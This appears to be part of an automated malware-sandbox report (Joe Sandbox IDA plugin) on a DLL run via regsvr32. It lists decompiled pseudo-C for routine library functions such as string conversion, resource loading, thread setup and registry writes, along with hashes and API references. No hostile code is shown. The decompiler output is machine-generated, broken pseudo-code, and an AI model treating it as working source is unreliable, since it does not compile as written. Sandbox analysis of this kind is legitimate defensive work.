Instruction ID: 028074866867044f4bb64f701422ec5252acdb94d91fdee864382ef112f730bb
Opcode Fuzzy Hash: 4d3452531a7c5fa1c81c99bf09ef5018cf44bb84df21a50ba64e81c18ec72dd0
Instruction Fuzzy Hash: F7510570A4415AEFEF04CF94C880AAEB7F1FF48384F608569D855AB349D734EA41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 10023E83, Relevance: 6.1, APIs: 4, Instructions: 101
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10023E83(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E10016E2B( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E1001E243( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x840ffff8
								__eflags = MultiByteToWideChar( *_t40, 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E10017D62(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0xa045ff98
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0xa045ff98
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								__eflags = _v8;
								_t27 = _t56 + 0xac; // 0xa045ff98
								_t57 =  *_t27;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x840ffff8
							_t58 = MultiByteToWideChar( *_t21, 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x10023e8b
0x10023e92
0x10023ea7
0x00000000
0x10023e99
0x10023e9b
0x10023eb3
0x10023eb8
0x10023ebb
0x10023ebe
0x10023ee7
0x10023eec
0x10023ef0
0x10023f71
0x10023f83
0x10023f8c
0x10023f8e
0x10023ece
0x10023ece
0x10023ed1
0x10023ed3
0x10023ed6
0x10023ed6
0x10023ed6
0x10023ed6
0x00000000
0x10023edc
0x10023f50
0x10023f50
0x10023f55
0x10023f5b
0x10023f5e
0x10023f60
0x10023f63
0x10023f63
0x10023f63
0x10023f63
0x00000000
0x10023f67
0x10023ef2
0x10023ef5
0x10023ef5
0x10023efb
0x10023efe
0x10023f25
0x10023f28
0x10023f28
0x10023f2e
0x00000000
0x00000000
0x10023f30
0x10023f33
0x00000000
0x00000000
0x10023f35
0x10023f35
0x10023f38
0x10023f38
0x10023f3e
0x10023eac
0x10023eac
0x10023f47
0x00000000
0x10023f47
0x10023f00
0x10023f03
0x00000000
0x00000000
0x10023f07
0x10023f15
0x10023f18
0x10023f1e
0x10023f20
0x10023f23
0x00000000
0x00000000
0x00000000
0x10023f23
0x10023ec0
0x10023ec3
0x10023ec5
0x10023ecb
0x10023ecb
0x00000000
0x10023e9d
0x10023e9d
0x10023ea2
0x10023ea4
0x10023ea4
0x00000000
0x10023ea2
0x10023e9b

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10023EB3
__isleadbyte_l.LIBCMT ref: 10023EE7
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,A045FF98,?,00000000,00000000,?,00000000,10022C1D,?,?,00000002), ref: 10023F18
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,?,00000000,00000000,?,00000000,10022C1D,?,?,00000002), ref: 10023F86

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 9fecb1cfdfc7269cf4ddeba3d560e390ad46f881d90bbc81769201c589544707
Instruction ID: bc0a73e0192d900c1d89498958e44598309ec6eeb61669affd2269eacaf1277d
Opcode Fuzzy Hash: 9fecb1cfdfc7269cf4ddeba3d560e390ad46f881d90bbc81769201c589544707
Instruction Fuzzy Hash: EA319931A0028AEFDF50DFA4E891AAE7BF9EF00251F92C5A9F4648B191D330E944DB50

Uniqueness

Uniqueness Score: -1.00%

Function 100145B9, Relevance: 6.1, APIs: 4, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E100145B9(void* __ecx, void* __edx, void* __edi, void* __eflags, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				signed int _t39;
				void* _t47;
				intOrPtr* _t48;
				void* _t50;
				void* _t51;
				void* _t64;
				void* _t65;
				intOrPtr _t66;
				void* _t68;
				void* _t70;

				_t65 = __edi;
				_t64 = __edx;
				_t51 = E1000D61F(_t50, __ecx, __edi, _t68, __eflags);
				_t29 =  *((intOrPtr*)(_t51 + 0x10));
				if(_t29 == 0) {
					L19:
					return 0 |  *((intOrPtr*)(_t51 + 0x10)) != 0x00000000;
				}
				_t32 = _t29 - 1;
				 *((intOrPtr*)(_t51 + 0x10)) = _t32;
				if(_t32 != 0) {
					goto L19;
				}
				if(_a4 == 0) {
					L8:
					_push(_t65);
					_t66 =  *((intOrPtr*)(E1000D5EC(_t51, _t65, 0, _t77) + 4));
					_t70 = E100139DB(0x10058f44);
					if(_t70 == 0 || _t66 == 0) {
						L18:
						goto L19;
					} else {
						_t35 =  *((intOrPtr*)(_t70 + 0xc));
						_t80 = _t35;
						if(_t35 == 0) {
							L12:
							if( *((intOrPtr*)(_t66 + 0x98)) != 0) {
								_t36 =  *((intOrPtr*)(_t70 + 0xc));
								_a4 = _a4 & 0x00000000;
								_t83 = _t36;
								if(_t36 != 0) {
									_push(_t36);
									_t39 = E1001A023(_t51, _t64, _t66, _t70, _t83);
									_push( *((intOrPtr*)(_t70 + 0xc)));
									_a4 = _t39;
									E10016380(_t51, _t66, _t70, _t83);
								}
								_t37 = E1001703B(_t51, _t64, _t66, _t70,  *((intOrPtr*)(_t66 + 0x98)));
								 *((intOrPtr*)(_t70 + 0xc)) = _t37;
								if(_t37 == 0 && _a4 != _t37) {
									 *((intOrPtr*)(_t70 + 0xc)) = E1001703B(_t51, _t64, _t66, _t70, _a4);
								}
							}
							goto L18;
						}
						_push(_t35);
						if(E1001A023(_t51, _t64, _t66, _t70, _t80) >=  *((intOrPtr*)(_t66 + 0x98))) {
							goto L18;
						}
						goto L12;
					}
				}
				if(_a4 != 0xffffffff) {
					_t47 = E1000B510();
					if(_t47 != 0) {
						_t48 =  *((intOrPtr*)(_t47 + 0x3c));
						_t77 = _t48;
						if(_t48 != 0) {
							 *_t48(0, 0);
						}
					}
				}
				E100144ED( *((intOrPtr*)(_t51 + 0x20)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x1c)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x18)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x14)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x24)), _t65);
				goto L8;
			}

0x100145b9
0x100145b9
0x100145c3
0x100145c5
0x100145cc
0x100146a4
0x100146af
0x100146af
0x100145d2
0x100145d5
0x100145d8
0x00000000
0x00000000
0x100145e1
0x10014625
0x10014625
0x1001462b
0x10014638
0x1001463c
0x100146a3
0x00000000
0x10014642
0x10014642
0x10014645
0x10014647
0x10014658
0x1001465f
0x10014661
0x10014664
0x10014668
0x1001466a
0x1001466c
0x1001466d
0x10014672
0x10014675
0x10014678
0x1001467e
0x10014685
0x1001468d
0x10014690
0x100146a0
0x100146a0
0x10014690
0x00000000
0x1001465f
0x10014649
0x10014656
0x00000000
0x00000000
0x00000000
0x10014656
0x1001463c
0x100145e7
0x100145e9
0x100145f0
0x100145f2
0x100145f5
0x100145f7
0x100145fb
0x100145fb
0x100145f7
0x100145f0
0x10014600
0x10014608
0x10014610
0x10014618
0x10014620
0x00000000

APIs

__msize.LIBCMT ref: 1001464A
__msize.LIBCMT ref: 1001466D
_malloc.LIBCMT ref: 10014685
_malloc.LIBCMT ref: 1001469A

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: __msize_malloc
String ID:
API String ID: 1288803200-0
Opcode ID: f4a42d07282e480ba19c61c33f8d9b2ab7007992bfdb09378e69a2fee1890d3d
Instruction ID: c51f58ba7030090f65d8388f2f6216d6b95cef8c4540db251b535ec9dede0d79
Opcode Fuzzy Hash: f4a42d07282e480ba19c61c33f8d9b2ab7007992bfdb09378e69a2fee1890d3d
Instruction Fuzzy Hash: 2E21F375500A019FCB55DF34D881B5A73E4FF05298B22842AE869DF266DF30ECC1CB82

Uniqueness

Uniqueness Score: -1.00%

Function 10009D34, Relevance: 6.1, APIs: 4, Instructions: 58
windowCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E10009D34(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, char _a12) {
				intOrPtr* _v0;
				void* _v4;
				signed int _v8;
				intOrPtr _v16;
				void* _t20;
				intOrPtr* _t23;
				void* _t29;
				void* _t31;
				intOrPtr _t35;
				char _t36;
				void* _t40;
				void* _t42;
				void* _t44;

				_t44 = __eflags;
				_t38 = __esi;
				_t37 = __edi;
				_t31 = __ebx;
				_push(4);
				E10017BC1(E10027DA5, __ebx, __edi, __esi);
				_t35 = E10009B91(_t44, 0xc);
				_v16 = _t35;
				_t20 = 0;
				_v4 = 0;
				if(_t35 != 0) {
					_t20 = E10009CDE(_t35);
				}
				_t36 = _a4;
				_v8 = _v8 | 0xffffffff;
				 *((intOrPtr*)(_t20 + 8)) = _t36;
				_a4 = _t20;
				E10017C83( &_a4, 0x1002e16c);
				asm("int3");
				_t40 = _t42;
				_t23 = _v0;
				_push(_t31);
				if(_t23 != 0) {
					 *_t23 = 0;
				}
				if(FormatMessageA(0x1100, 0,  *(_t36 + 8), 0x800,  &_a12, 0, 0) != 0) {
					E10009C0D(0, _t36, _t37, _t38, _t40, _a4, _a8, _a12, 0xffffffff);
					LocalFree(_a12);
					_t29 = 1;
					__eflags = 1;
				} else {
					 *_a4 = 0;
					_t29 = 0;
				}
				return _t29;
			}

0x10009d34
0x10009d34
0x10009d34
0x10009d34
0x10009d34
0x10009d3b
0x10009d48
0x10009d4a
0x10009d4d
0x10009d51
0x10009d54
0x10009d56
0x10009d56
0x10009d5b
0x10009d5e
0x10009d62
0x10009d65
0x10009d71
0x10009d76
0x10009d78
0x10009d7a
0x10009d7d
0x10009d82
0x10009d84
0x10009d84
0x10009da2
0x10009db8
0x10009dc3
0x10009dcb
0x10009dcb
0x10009da4
0x10009da7
0x10009da9
0x10009da9
0x10009dce

APIs

__EH_prolog3.LIBCMT ref: 10009D3B

Part of subcall function 10009B91: _malloc.LIBCMT ref: 10009BAB

__CxxThrowException@8.LIBCMT ref: 10009D71
FormatMessageA.KERNEL32(00001100,00000000,8007000E,00000800,?,00000000,00000000,?,?,8007000E,1002E16C,00000004,1000105C,8007000E), ref: 10009D9A

Part of subcall function 10009C0D: _wctomb_s.LIBCMT ref: 10009C1D

LocalFree.KERNEL32(?), ref: 10009DC3

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Exception@8FormatFreeH_prolog3LocalMessageThrow_malloc_wctomb_s
String ID:
API String ID: 1615547351-0
Opcode ID: e381bce633557ad048b1696ea26053178c542294b2cd97fac3bd263aaafec7a1
Instruction ID: 2087144037a306e6c8b96e697859ee983d4da7c50e84c085b7e4f49f0a09e647
Opcode Fuzzy Hash: e381bce633557ad048b1696ea26053178c542294b2cd97fac3bd263aaafec7a1
Instruction Fuzzy Hash: 1E1170B1644249AFEB00DFA4DC81DAE3BA9FB04390F21452AF629CA1D1D731D9508B51

Uniqueness

Uniqueness Score: -1.00%

Function 1000C887, Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E1000C887(void* __ecx) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t23;
				void* _t28;
				void* _t30;
				struct HINSTANCE__* _t32;
				signed int _t34;
				signed short _t35;
				void* _t37;
				signed short* _t40;

				_push(__ecx);
				_push(_t28);
				_t37 = __ecx;
				_t42 =  *((intOrPtr*)(__ecx + 0x58));
				_t40 =  *(__ecx + 0x60);
				_v8 =  *((intOrPtr*)(__ecx + 0x5c));
				if( *((intOrPtr*)(__ecx + 0x58)) != 0) {
					_t32 =  *(E1000D5EC(_t28, __ecx, _t40, _t42) + 0xc);
					_v8 = LoadResource(_t32, FindResourceA(_t32,  *(_t37 + 0x58), 5));
				}
				if(_v8 != 0) {
					_t40 = LockResource(_v8);
				}
				_t30 = 1;
				if(_t40 != 0) {
					_t35 =  *_t40;
					if(_t40[1] != 0xffff) {
						_t23 = _t40[5] & 0x0000ffff;
						_t34 = _t40[6] & 0x0000ffff;
					} else {
						_t35 = _t40[6];
						_t23 = _t40[9] & 0x0000ffff;
						_t34 = _t40[0xa] & 0x0000ffff;
					}
					if((_t35 & 0x00001801) != 0 || _t23 != 0 || _t34 != 0) {
						_t30 = 0;
					}
				}
				if( *(_t37 + 0x58) != 0) {
					FreeResource(_v8);
				}
				return _t30;
			}

0x1000c88a
0x1000c88b
0x1000c88e
0x1000c890
0x1000c897
0x1000c89a
0x1000c89d
0x1000c8a4
0x1000c8bb
0x1000c8bb
0x1000c8c2
0x1000c8cd
0x1000c8cd
0x1000c8d1
0x1000c8d4
0x1000c8dc
0x1000c8de
0x1000c8ed
0x1000c8f1
0x1000c8e0
0x1000c8e0
0x1000c8e3
0x1000c8e7
0x1000c8e7
0x1000c8fa
0x1000c906
0x1000c906
0x1000c8fa
0x1000c90c
0x1000c911
0x1000c911
0x1000c91d

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 1000C8AD
LoadResource.KERNEL32(?,00000000), ref: 1000C8B5
LockResource.KERNEL32(00000000), ref: 1000C8C7
FreeResource.KERNEL32(00000000), ref: 1000C911

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: ba0e54e7ba739e7dbb3db6c45d0c9dd504ce55cc39771a4365ee787ff2243026
Instruction ID: fb1a28c5f31200e3abd4209bdb6f3add133a5505808a0a6cde1b54a47ab738f1
Opcode Fuzzy Hash: ba0e54e7ba739e7dbb3db6c45d0c9dd504ce55cc39771a4365ee787ff2243026
Instruction Fuzzy Hash: 46118F3150076AEFE710DF95C889AAAB3F5FF003D5F218029E84252594D770ED50D760

Uniqueness

Uniqueness Score: -1.00%

Function 1000ADB5, Relevance: 6.1, APIs: 4, Instructions: 56
threadCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E1000ADB5(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t37;
				intOrPtr _t43;
				void* _t45;
				intOrPtr* _t51;
				void* _t52;
				void* _t53;

				_t53 = __eflags;
				_t46 = __ecx;
				_t44 = __ebx;
				_push(4);
				E10017BC1(E10027E86, __ebx, __edi, __esi);
				_t51 = __ecx;
				 *((intOrPtr*)(_t52 - 0x10)) = __ecx;
				E1000B862(__ebx, __ecx, __edi, __ecx, _t53);
				_t54 =  *((intOrPtr*)(_t52 + 8));
				 *((intOrPtr*)(_t52 - 4)) = 0;
				 *_t51 = 0x10029f54;
				if( *((intOrPtr*)(_t52 + 8)) == 0) {
					 *((intOrPtr*)(_t51 + 0x50)) = 0;
				} else {
					_t43 = E1001817A( *((intOrPtr*)(_t52 + 8)));
					_pop(_t46);
					 *((intOrPtr*)(_t51 + 0x50)) = _t43;
				}
				_t45 = E1000D5EC(_t44, 0, _t51, _t54);
				_t55 = _t45;
				if(_t45 == 0) {
					L4:
					E1000A0DB(_t45, _t46, 0, _t51, _t55);
				}
				_t7 = _t45 + 0x74; // 0x74
				_t46 = _t7;
				_t37 = E1000AA21(_t45, _t7, 0, _t51, _t55);
				if(_t37 == 0) {
					goto L4;
				}
				 *((intOrPtr*)(_t37 + 4)) = _t51;
				 *((intOrPtr*)(_t51 + 0x2c)) = GetCurrentThread();
				 *((intOrPtr*)(_t51 + 0x30)) = GetCurrentThreadId();
				 *((intOrPtr*)(_t45 + 4)) = _t51;
				 *((intOrPtr*)(_t51 + 0x44)) = 0;
				 *((intOrPtr*)(_t51 + 0x7c)) = 0;
				 *((intOrPtr*)(_t51 + 0x64)) = 0;
				 *((intOrPtr*)(_t51 + 0x68)) = 0;
				 *((intOrPtr*)(_t51 + 0x54)) = 0;
				 *((intOrPtr*)(_t51 + 0x60)) = 0;
				 *((intOrPtr*)(_t51 + 0x88)) = 0;
				 *((intOrPtr*)(_t51 + 0x58)) = 0;
				 *((short*)(_t51 + 0x92)) = 0;
				 *((short*)(_t51 + 0x90)) = 0;
				 *((intOrPtr*)(_t51 + 0x48)) = 0;
				 *((intOrPtr*)(_t51 + 0x8c)) = 0;
				 *((intOrPtr*)(_t51 + 0x80)) = 0;
				 *((intOrPtr*)(_t51 + 0x84)) = 0;
				 *((intOrPtr*)(_t51 + 0x70)) = 0;
				 *((intOrPtr*)(_t51 + 0x74)) = 0;
				 *((intOrPtr*)(_t51 + 0x94)) = 0;
				 *((intOrPtr*)(_t51 + 0x9c)) = 0;
				 *((intOrPtr*)(_t51 + 0x5c)) = 0;
				 *((intOrPtr*)(_t51 + 0x6c)) = 0;
				 *((intOrPtr*)(_t51 + 0x98)) = 0x200;
				return E10017C60(_t51);
			}

0x1000adb5
0x1000adb5
0x1000adb5
0x1000adb5
0x1000adbc
0x1000adc1
0x1000adc3
0x1000adc6
0x1000adcd
0x1000add0
0x1000add3
0x1000add9
0x1000ade9
0x1000addb
0x1000adde
0x1000ade3
0x1000ade4
0x1000ade4
0x1000adf1
0x1000adf3
0x1000adf5
0x1000adf7
0x1000adf7
0x1000adf7
0x1000adfc
0x1000adfc
0x1000adff
0x1000ae06
0x00000000
0x00000000
0x1000ae08
0x1000ae11
0x1000ae1a
0x1000ae1d
0x1000ae20
0x1000ae23
0x1000ae26
0x1000ae29
0x1000ae2c
0x1000ae2f
0x1000ae32
0x1000ae38
0x1000ae3b
0x1000ae42
0x1000ae49
0x1000ae4c
0x1000ae52
0x1000ae58
0x1000ae5e
0x1000ae61
0x1000ae64
0x1000ae6a
0x1000ae70
0x1000ae73
0x1000ae76
0x1000ae87

APIs

__EH_prolog3.LIBCMT ref: 1000ADBC

Part of subcall function 1000B862: __EH_prolog3.LIBCMT ref: 1000B869

__strdup.LIBCMT ref: 1000ADDE
GetCurrentThread.KERNEL32 ref: 1000AE0B
GetCurrentThreadId.KERNEL32 ref: 1000AE14

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CurrentH_prolog3Thread$__strdup
String ID:
API String ID: 4206445780-0
Opcode ID: 9c26e9d60202904c8b3007aba5d4454f2b931d5449d83442688f904a073da271
Instruction ID: f8307bcc4145d2f3034cc24c4785684ef343d47fe4738e0b5029f7ba663f9659
Opcode Fuzzy Hash: 9c26e9d60202904c8b3007aba5d4454f2b931d5449d83442688f904a073da271
Instruction Fuzzy Hash: 88217EB4800B50CFE721DF6A858564AFBF8FFA4680F10891FD59A87A25CBB0A581CF45

Uniqueness

Uniqueness Score: -1.00%

Function 1001170E, Relevance: 6.1, APIs: 4, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1001170E(intOrPtr* __ecx) {
				char _v20;
				intOrPtr _v32;
				void* __ebx;
				void* __edi;
				intOrPtr* __esi;
				struct HWND__* _t18;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t33;

				_t28 = __ecx;
				_push(0);
				_t33 = __ecx;
				if( *((intOrPtr*)( *__ecx + 0x120))() != 0) {
					__eax =  *__esi;
					__ecx = __esi;
					__eax =  *((intOrPtr*)( *__esi + 0x170))();
				}
				_t30 = SendMessageA;
				SendMessageA( *(_t33 + 0x20), 0x1f, 0, 0);
				E1001044A(0, _t28,  *(_t33 + 0x20), 0x1f, 0, 0, 1, 1);
				_t28 = _t33;
				_t33 = E10010DEC(0, _t28, SendMessageA);
				if(_t33 != 0) {
					SendMessageA( *(_t33 + 0x20), 0x1f, 0, 0);
					E1001044A(0, _t28,  *(_t33 + 0x20), 0x1f, 0, 0, 1, 1);
					_t18 = GetCapture();
					if(_t18 != 0) {
						_t18 = SendMessageA(_t18, 0x1f, 0, 0);
					}
					return _t18;
				} else {
					_push(_t28);
					_v20 = 0x10057298;
					E10017C83( &_v20, 0x1002e2fc);
					asm("int3");
					_push(4);
					E10017BC1(E10027DEC, 0, SendMessageA, _t33);
					_t29 = E10013965(0x104);
					_v32 = _t29;
					_t24 = 0;
					_v20 = 0;
					if(_t29 != 0) {
						_t24 = E1000CF71(_t29);
					}
					return E10017C60(_t24);
				}
			}

0x1001170e
0x1001170e
0x10011710
0x1001171d
0x1001171f
0x10011721
0x10011723
0x10011723
0x10011729
0x10011738
0x10011745
0x1001174a
0x10011751
0x10011755
0x10011763
0x10011770
0x10011775
0x1001177d
0x10011784
0x10011784
0x10011789
0x10011757
0x1000a0de
0x1000a0e8
0x1000a0ef
0x1000a0f4
0x1000a0f5
0x1000a0fc
0x1000a10b
0x1000a10d
0x1000a110
0x1000a114
0x1000a117
0x1000a119
0x1000a119
0x1000a123
0x1000a123

APIs

SendMessageA.USER32 ref: 10011738
SendMessageA.USER32 ref: 10011763

Part of subcall function 1001044A: GetTopWindow.USER32(00000000), ref: 10010458

GetCapture.USER32 ref: 10011775
SendMessageA.USER32 ref: 10011784

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSend$CaptureWindow
String ID:
API String ID: 729421689-0
Opcode ID: 80fe9e985e59ca35730d0e4f98e874e27816f3184ada4d3ba37fa42bed1d0644
Instruction ID: c1fa24ad5068faa30316ff7830c17e6e1fa791912a80157e4ea929c0746033bf
Opcode Fuzzy Hash: 80fe9e985e59ca35730d0e4f98e874e27816f3184ada4d3ba37fa42bed1d0644
Instruction Fuzzy Hash: EF012CB5350219BFF621AB608CC9FBA36ADEB487C4F010539F685AA1E2C6A19C415660

Uniqueness

Uniqueness Score: -1.00%

Function 10013F17, Relevance: 6.1, APIs: 4, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E10013F17(void* __ecx, intOrPtr __edx, CHAR* _a4, char* _a8, char _a12) {
				signed int _v8;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				CHAR* _t21;
				char* _t24;
				intOrPtr _t28;
				void* _t30;
				signed int _t31;

				_t28 = __edx;
				_t13 =  *0x10057a08; // 0xce1c5b24
				_v8 = _t13 ^ _t31;
				_t24 = _a8;
				_t30 = __ecx;
				_t29 = _a4;
				if( *((intOrPtr*)(__ecx + 0x54)) == 0) {
					E10016DF0( &_v24, 0x10, "%d", _a12);
					_t18 = WritePrivateProfileStringA(_t29, _t24,  &_v24,  *(__ecx + 0x68));
				} else {
					_t30 = E10013ED1(__ecx, _t29);
					if(_t30 != 0) {
						_t21 = RegSetValueExA(_t30, _t24, 0, 4,  &_a12, 4);
						_t29 = _t21;
						RegCloseKey(_t30);
						_t18 = 0 | _t21 == 0x00000000;
					}
				}
				return E100167D5(_t18, _t24, _v8 ^ _t31, _t28, _t29, _t30);
			}

0x10013f17
0x10013f1d
0x10013f24
0x10013f28
0x10013f2c
0x10013f33
0x10013f36
0x10013f76
0x10013f87
0x10013f38
0x10013f3e
0x10013f42
0x10013f50
0x10013f57
0x10013f59
0x10013f63
0x10013f63
0x10013f42
0x10013f9b

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004), ref: 10013F50
RegCloseKey.ADVAPI32(00000000), ref: 10013F59
_swprintf.LIBCMT ref: 10013F76
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 10013F87

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
